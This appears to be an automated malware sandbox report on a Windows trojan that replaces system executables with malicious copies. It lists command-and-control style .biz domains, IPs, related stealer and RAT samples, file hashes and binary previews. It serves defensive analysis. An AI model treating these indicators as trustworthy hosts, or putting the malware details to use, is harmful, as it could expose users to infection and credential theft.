Original Sample Name:	03428fe5c6161e6f512514d5f1827baa24617611fd068d98e0a8be94fc8030bc.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@9/11@7/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 70% Number of executed functions: 41 Number of non-executed functions: 240
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, DiagnosticsHub.StandardCollector.Service.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45
Excluded domains from analysis (whitelisted): uaafd.biz, slscr.update.microsoft.com, vjaxhpbji.biz, ytctnunms.biz, lrxdmhrr.biz, vrrazpdh.biz, tbjrpv.biz, hehckyov.biz, ocsp.digicert.com, xlfhhhm.biz, warkcdu.biz, npukfztj.biz, anpmnmxo.biz, sxmiywsfv.biz, przvgke.biz, ww7.przvgke.biz, dwrqljrr.biz, gytujflc.biz, gvijgjwkh.biz, zjbpaao.biz, gnqgo.biz, deoci.biz, iuzpxe.biz, nqwjmb.biz, wllvnzb.biz, lpuegx.biz, bumxkqgxu.biz, yhqqc.biz, vcddkls.biz, vyome.biz, dlynankz.biz, gcedd.biz, xccjj.biz, ww12.fwiwk.biz, oshhkdluh.biz, opowhhece.biz, jwkoeoqns.biz, jpskm.biz, ftxlah.biz, ifsaia.biz, uhxqin.biz, rynmcq.biz, oflybfv.biz, jhvzpcfg.biz, saytjshyf.biz, fwiwk.biz, typgfhb.biz, esuzf.biz, eufxebus.biz, ww7.fwiwk.biz, zlenh.biz, otelrules.azureedge.net, myups.biz, yauexmxk.biz, knjghuig.biz, yunalwv.biz, ctldl.windowsupdate.com, brsua.biz, fe3cr.delivery.mp.microsoft.com, ww12.przvgke.biz, mgmsclkyu.biz, qaynky.biz, lejtdj.biz, qpnczch.biz, mnjmhp.biz, acwjcqqv.biz, jdhhbs.biz
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
20:49:56	API Interceptor	2x Sleep call for process: BzK8rQh2O3.exe modified
20:50:19	API Interceptor	3x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54.244.188.177	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	pywolwnvd.biz/exqctojotladvua
	LiuUGJK9vH.exe	Get hash	malicious	FormBook	Browse	pywolwnvd.biz/hdjf
	UaOJAOMxcU.exe	Get hash	malicious	FormBook	Browse	pywolwnvd.biz/rhimsaly
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	cvgrf.biz/kmpia
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	lrxdmhrr.biz/rwlfutjcp
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	pywolwnvd.biz/wlyolqts
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	lrxdmhrr.biz/tbbwyfgx
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	lrxdmhrr.biz/fncvigkebkn
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	cvgrf.biz/dy
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	cvgrf.biz/ubwy
18.141.10.107	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	ssbzmoy.biz/dwlowhbefckeyd
	LiuUGJK9vH.exe	Get hash	malicious	FormBook	Browse	ssbzmoy.biz/rai
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	knjghuig.biz/wmfptllh
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	warkcdu.biz/gloumaahxxajxf
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	warkcdu.biz/d
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	vcddkls.biz/we
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	vcddkls.biz/kknpblsbxdrrjko
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	knjghuig.biz/nfm
	INV_NE_02_2034388.exe	Get hash	malicious	FormBook	Browse	vcddkls.biz/x
	Shipment Notification.exe	Get hash	malicious	FormBook	Browse	knjghuig.biz/hsyjdjsftfdjf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cvgrf.biz	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	54.244.188.177
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	54.244.188.177
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	54.244.188.177
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	INV_NE_02_2034388.exe	Get hash	malicious	FormBook	Browse	54.244.188.177
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	54.244.188.177
	PURCHASE REQUIRED DETAILS 000487958790903403.exe	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	54.244.188.177
pwlqfu.biz	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	34.246.200.160
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.246.200.160
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	34.246.200.160
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	34.246.200.160
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	34.246.200.160
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	34.246.200.160
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	34.246.200.160
	SetupRST.exe	Get hash	malicious	Unknown	Browse	34.246.200.160
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	34.246.200.160
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	34.246.200.160
ssbzmoy.biz	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	LiuUGJK9vH.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	UaOJAOMxcU.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	SABXJ1B5c8.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	I3LPkQh2an.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	18.141.10.107
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	18.141.10.107

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	18.163.74.139
	e47m9W6JGQ.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	XeFYBYYj0w.exe	Get hash	malicious	FormBook	Browse	18.163.74.139
	http://www.jadavisinjurylawyers.com/	Get hash	malicious	Unknown	Browse	54.231.128.160
	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse	99.86.4.105
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse	108.128.172.10
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	52.208.198.158
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	13.32.110.93
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	108.138.26.78
AMAZON-02US	k9OEsV37GE.exe	Get hash	malicious	FormBook	Browse	18.163.74.139
	e47m9W6JGQ.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	XeFYBYYj0w.exe	Get hash	malicious	FormBook	Browse	18.163.74.139
	http://www.jadavisinjurylawyers.com/	Get hash	malicious	Unknown	Browse	54.231.128.160
	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse	99.86.4.105
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse	108.128.172.10
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	52.208.198.158
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	13.32.110.93
	https://maya-lopez.filemail.com/t/XhcWEjoR	Get hash	malicious	Unknown	Browse	108.138.26.78

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1658880
Entropy (8bit):	4.312996351424848
Encrypted:	false
SSDEEP:	24576:RxGBcmlwVg9N9JMlDlfjRiVuVsWt5MJMs:HGy+ggFIDRRAubt5M
MD5:	224A86FD89B67F5874BE745F454A29D5
SHA1:	37844AA75DB9C76439D8E7D1F414EB0E2D0091ED
SHA-256:	579F86CD3F0B41ED3F05F2FD1ECDC65B0BC1BB97929D7517D2E9E11EAAC5270D
SHA-512:	5F96DBBDB8E593ADC1CF58C9EFC86E6BECEAF2CAAE6594220A7ED7EAED2DD647994C8C7CAB3DAA758A3300E04814044B634B251A346CD9FDBEC4E155068C9C3E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@.................................It......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...............`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Download File

Process:	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3141
Entropy (8bit):	4.737568639004171
Encrypted:	false
SSDEEP:	24:X2+dc24V2d2y2n02j2zRt2ZWt32k2ZWmI32+n2E2h2Bq252T2ZWq32oB25L2ZWlL:lM6RlBmiwy2L13qgmXncD
MD5:	2E168BFD7AE988AB627B20425C08203A
SHA1:	51138B389DC4B72A693328A71F22675BDCD031C0
SHA-256:	8C27F8508BEBFA2F892B93F34B38E19751C610EC88A0A19B034D34754BC5221B
SHA-512:	0DC09D650E873D7E635B8692B095F3A876F673B68312A888C7E12B3D10D19830A96036D48B80E8F17B4DB64F6F31F01F29D7686D783A095AFE99708FB61FD735
Malicious:	false
Reputation:	low
Preview:	2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeAssignPrimaryTokenPrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeAuditPrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeBackupPrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeCreateGlobalPrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeCreatePagefilePrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeCreatePermanentPrivilege...2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeCreateSymbolicLinkPrivilege...2025-01-10 20:50:01-0500: Could not disable token privilege value: SeCreateTokenPrivilege. (1300)..2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeDebugPrivilege...2025-01-10 20:50:01-0500: Could not disable token privilege value: SeEnableDelegationPrivilege. (1300)..2025-01-10 20:50:01-0500: Disabled unneeded token privilege: SeImpersonatePrivilege...2025-01-10 20:50:0

C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	2370560
Entropy (8bit):	7.031528446206911
Encrypted:	false
SSDEEP:	49152:KAMsOu3JfCIGnZuTodRFYKBrFDbWpkgFIDRRAubt5M:KAMa38ZuTSkUf
MD5:	CD0215EA00A7CAEBDBEBFE7618F12C90
SHA1:	403F57E590318469933C364687085964AB67856A
SHA-256:	219C40B294CE2C88AD96CCACC2CE8B639020A9C6A2DDFA2C8CE3369FFE60F8F5
SHA-512:	AD54AE10FAB3EBE389EAC5FAB4E2168B55C776340997DBA16AA277EA56B2C8CBC8D9D685C4E4CF1E454EA49E935A336E1C5594C9A1739E2CD5EA8D71D94CE317
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d....\|.e..........".................0..........@..............................%....._.$... ..........................................}..Z...Z}...............@..`...................$k.......................j..(.......@............... ............................text...V........................... ..`.rdata..Hv.......x..................@..@.data...t....`.......>..............@....pdata..`....@.......6..............@..@.00cfg..0...........................@..@.gxfg....+.......,..................@..@.retplne.....@...........................tls....A....P......................@..._RDATA..\....`....... ..............@..@malloc_h.....p.......".............. ..`.rsrc................$..............@..@.reloc...............<..............@...........................................................................................................................................

C:\Users\user\AppData\Local\Temp\atule

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.993580951705767
Encrypted:	true
SSDEEP:	6144:z9e8YMSdo5IqUnCzZncpf2XNwueyWJWRcCNmgSwhBrOwk52+vNl:uMSW5cnqZsu9uyCWRcGmjwBawkH
MD5:	1C512AD2627ECC378C15052A42BE284F
SHA1:	FC8A97B57B84A884CC7BBDC288CA7230B979A1B6
SHA-256:	2844B278776AF0B0477C05612988360B8C548A3FFF7C562C9B68D9AF644962E1
SHA-512:	48B594604EAAD5859565D6E1BB604F214FDCADED13BEF4FCBE6B20723D99CFDF4200BEB7BB1445AC8A36B62F8DF8FFEC9391DD4AEF92D1E685B210BA0BC05A0A
Malicious:	false
Reputation:	low
Preview:	...QJ7XES66D.BH.I7XEW66.7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XE.66D9O.FQ.>.d.7z...!"iG*0DW).3#&?&Cx'2.D1Yp+&q.x.e:YR!.]OBuI7XEW66=6Y.u1..e%0..$P.X....8".,...l"/.S..kVQ.e9! l)P.EW66D7PB..I7.DV6.2..BHQI7XEW.6F6[CCQIo\EW66D7PBH.]7XEG66DGTBHQ.7XUW66F7PDHQI7XEW06D7PBHQIG\EW46D7PBHSIw.EW&6D'PBHQY7XUW66D7PRHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBH.=R 1W660`TBHAI7X.S66T7PBHQI7XEW66D7pBH1I7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D

C:\Users\user\AppData\Local\Temp\aut9C87.tmp

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	data
Category:	dropped
Size (bytes):	289280
Entropy (8bit):	7.993580951705767
Encrypted:	true
SSDEEP:	6144:z9e8YMSdo5IqUnCzZncpf2XNwueyWJWRcCNmgSwhBrOwk52+vNl:uMSW5cnqZsu9uyCWRcGmjwBawkH
MD5:	1C512AD2627ECC378C15052A42BE284F
SHA1:	FC8A97B57B84A884CC7BBDC288CA7230B979A1B6
SHA-256:	2844B278776AF0B0477C05612988360B8C548A3FFF7C562C9B68D9AF644962E1
SHA-512:	48B594604EAAD5859565D6E1BB604F214FDCADED13BEF4FCBE6B20723D99CFDF4200BEB7BB1445AC8A36B62F8DF8FFEC9391DD4AEF92D1E685B210BA0BC05A0A
Malicious:	false
Preview:	...QJ7XES66D.BH.I7XEW66.7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XE.66D9O.FQ.>.d.7z...!"iG*0DW).3#&?&Cx'2.D1Yp+&q.x.e:YR!.]OBuI7XEW66=6Y.u1..e%0..$P.X....8".,...l"/.S..kVQ.e9! l)P.EW66D7PB..I7.DV6.2..BHQI7XEW.6F6[CCQIo\EW66D7PBH.]7XEG66DGTBHQ.7XUW66F7PDHQI7XEW06D7PBHQIG\EW46D7PBHSIw.EW&6D'PBHQY7XUW66D7PRHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBH.=R 1W660`TBHAI7X.S66T7PBHQI7XEW66D7pBH1I7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D7PBHQI7XEW66D

C:\Users\user\AppData\Roaming\8227aa636967b89b.bin

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.987403208748677
Encrypted:	false
SSDEEP:	384:1Bt8uuybXIbaQ4659U06e5kWm8wW/6WjovYWl1PHc:1AuuCMFkCO1PHc
MD5:	B16A42E2096B72979B35BAF9CFF24BA3
SHA1:	D1421621BCBC8AF84252862F3151D06FEA833660
SHA-256:	6BD2EE4260A1CD3D9DBDA92CAA0FAF96951F394FE06399EF734452971B2D617C
SHA-512:	99618EACDCAE3E1700CE7E5ADE71E0B2E67F928C32FBD7FDB5CB5FB53136530C799961C887BEB6E17BCB8FA4E42DC9C3A5E42AFF592BCEF50D72B1A546AEA6A1
Malicious:	false
Preview:	....0.Q.8..s...F..w._.A...;..Yp={5.{;..Y.p.)...."Bs.}....hqLz............h%u.`..._b>P.F...'.m...f......_..T...l.G.U$ut..}2."7...(O!.U.%.7x.6/\.o.L5..H....K....".AHG...<L...".8.lHz.)...Sv..+..,..T....I.g.;.{.B{j.{..D5.9.z..0..SoD.z.7`1.JT.d..m.....(vY..s@;.u....Y\.X....^;...phS.`..T..a...Z...{b......d..`.>8......6F.K..$..^.T.F-.....?....z4._...."..8ZEK....c....n>...Z.)o.}..%UJC........]N/.V.\|K:....!..X\|...E]q.........?.....{..l.@..D....e`....@.........u..d))...>....o.O...c....F..=..2.yf....=..N@'.(.jS..m`............}.m....35p.j.,EFR... J....O........W..v...i..R.A.=.\|9&I..-.i..1..../..s>26..M.....N.G....'......_.k.;.k....n.q}..i.s?...~.<.= ..u..T....KT....Au.UA..l.k...#.\|..!......uu..7...Q,.1..{No...K`.d7~.\|...o ..=.....L..iM..;...3^......R...y.m.N.x.=..cC.@.YB...H."..9....{.0HE.%...+.Q^\n.....m...........R..:.....#W..h._>.2...Bo.x...a..=.7EHSsR....Sb.e.J.hi.. ...x#=.b.p.,Hf}...A....(.4.......T.#2b...A..S...#c..[....#.......,....nx

C:\Windows\System32\AppVClient.exe

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1348608
Entropy (8bit):	7.251540161898657
Encrypted:	false
SSDEEP:	24576:AQW4qoNUgslKNX0Ip0MgHCpoMBOutVg9N9JMlDlfjRiVuVsWt5MJMs:AQW9BKNX0IPgiKMBOuHgFIDRRAubt5M
MD5:	DCB9DA31B5D9BF73EFE42CD201A3C555
SHA1:	32C22E96CD68DB6B2FD652B6B37F9EAFDAA4B454
SHA-256:	53597C33761F053B094F28F5154E0573F18135FE8873CC178919416BF5F7496C
SHA-512:	98A99AA8814211807030A3FC67B9837EBDF44C530FF204782B88ECABD71D2F9CB8440DA63BAFAB4DC25E8467DEE04D462CF9604556379D0AA42C99A927382CC9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g..=#p.n#p.n#p.n*.kn%p.n7..o(p.n7..o p.n7..o.p.n#p.n.u.n7..o.p.n7..o.p.n7..n"p.n7..n"p.n7..o"p.nRich#p.n........................PE..d....4............"..........$.......K.........@.....................................h.... .......... .......................................j..h....`...a... ...:..................0a..T....................%..(....$...............%..P............................text...L........................... ..`.rdata..............................@..@.data....z.......n..................@....pdata...:... ...<..................@..@.rsrc....a...`...b...2..............@..@.reloc..............................@...................................................................................................................................................................................................................................................

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1592832
Entropy (8bit):	4.174818739239532
Encrypted:	false
SSDEEP:	24576:q2G7AbHjkWVg9N9JMlDlfjRiVuVsWt5MJMs:q2G7AbHjJgFIDRRAubt5M
MD5:	424D1BEA7155A3906C3FDDFEE3419252
SHA1:	8057E2881A407ECD4701EB0C2B3659E178CECFEC
SHA-256:	0E67CDFEDE2EB94EE6B28977C0CBF1D929BCB9F5456D5347BFCC8775755440F4
SHA-512:	000CCF21298ADE8DC94A2BE052FEB1154628FB25F4AE61E83990E8D72A99BA9BBB73FD25924E6D801586EFC6A0E075C92A6BEC2F0946B0FA366C9622C1873BB4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B6l0.W.c.W.c.W.c./.cPW.c.<.b.W.c.<.b.W.c.W.c.S.c.<.b.W.c.<.b.W.c.<.b.W.c.<.c.W.c.<.c.W.c.<.b.W.cRich.W.c................PE..d...^.Jw.........."............................@.......................................... .......... ......................................p?...................................... #..T...................8...(... ...............`...H............................text............................... ..`.rdata...b.......d..................@..@.data...@....p.......P..............@....pdata...............T..............@..@.rsrc................b..............@..@.reloc...............n..............@...........................................................................................................................................................................................................................................................

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1242624
Entropy (8bit):	7.287652076829233
Encrypted:	false
SSDEEP:	24576:7kdpSI+K3S/GWei+qNv2wG3+Vg9N9JMlDlfjRiVuVsWt5MJMs:76SIGGWei2wG36gFIDRRAubt5M
MD5:	BD4426E495F8ADB5F861A87A8F767BF5
SHA1:	15257A786FBC5BC6DC3BB365DE3EE1A77C186E39
SHA-256:	1540E507B28F48F7A0FA8CD650B34EEFDB680E20ABAFBF1EC8AAAB3ABC78ED81
SHA-512:	90B9137F85E0E1E3663C0A32F6C6F2347B312EC52B9D6A3CD95ABCE96DED715EBAF1BD55EEE1B456133EB3EEA5FA9FB7CC340197C6B6A2DAC21C8E4893656952
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}x..}x..}x...{..}x...\|..}x...y..}x..}y.x\|x...p..}x...}..}x......}x...z..}x.Rich.}x.................PE..d................."...... .....................@.............................P............ ..................................................{..h....P...........1......................T...........................pk...............l.......{..@....................text...Y........ .................. ..`.rdata..2u...0...v...$..............@..@.data... H.......<..................@....pdata...1.......2..................@..@.didat.......@......................@....rsrc........P......................@..@.reloc.......`......................@...................................................................................................................................................................................................................................

C:\Windows\System32\alg.exe

Download File

Process:	C:\Users\user\Desktop\BzK8rQh2O3.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1594368
Entropy (8bit):	4.175670713227469
Encrypted:	false
SSDEEP:	12288:gEP3RFpV3VfCfHcqNS0zKepmlDlpVfjp8EizX+AuV27snt5odJMs:7FTVg9N9JMlDlfjRiVuVsWt5MJMs
MD5:	AFF3175576D4CDBFB3592C3E3BEE84D7
SHA1:	DE4133CC207403F4A717949138B1867E75E4DA04
SHA-256:	443AD55E576194E7A7854A3FB4D2EE0726782F4FAC305104F41ED1653640A5C2
SHA-512:	26E1DCA42384F91AAA533BF88E74A4F40F6244F750FB7A36AEFA0039BD59AFF8389F6189B6D27F28433288C20E49B2C63E7AC46798043713936E7E06BDD65D4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........,..dB.dB.dB....dB..A.dB..F.dB.dC.,dB..C.dB..G.dB..J.dB....dB..@.dB.Rich.dB.........PE..d...E.~..........."............................@.....................................<.... .......... ......................................`E...............p.. ................... ...T...............................................8...TA.......................text............................... ..`.rdata..rV.......X..................@..@.data........`.......@..............@....pdata.. ....p.......D..............@..@.didat...............R..............@....rsrc............ ...T..............@..@.reloc...............t..............@...................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Roaming\8227aa636967b89b.bin

Download File

Process:	C:\Windows\System32\AppVClient.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.9856338998831
Encrypted:	false
SSDEEP:	192:L4rDsW2n/qNdUJiaw0TsUPRGXw5Gwz1N8GRwqC+VvY25j9owPQHByVfDqJZ0tpsz:kfsWyiNowRUGwjDjCMF5lQHBydDqsMzn
MD5:	032679FA7E48B36276BFDB0A99753E31
SHA1:	D3E462287D2763AF7DC33A9B64D555EBCB8B6176
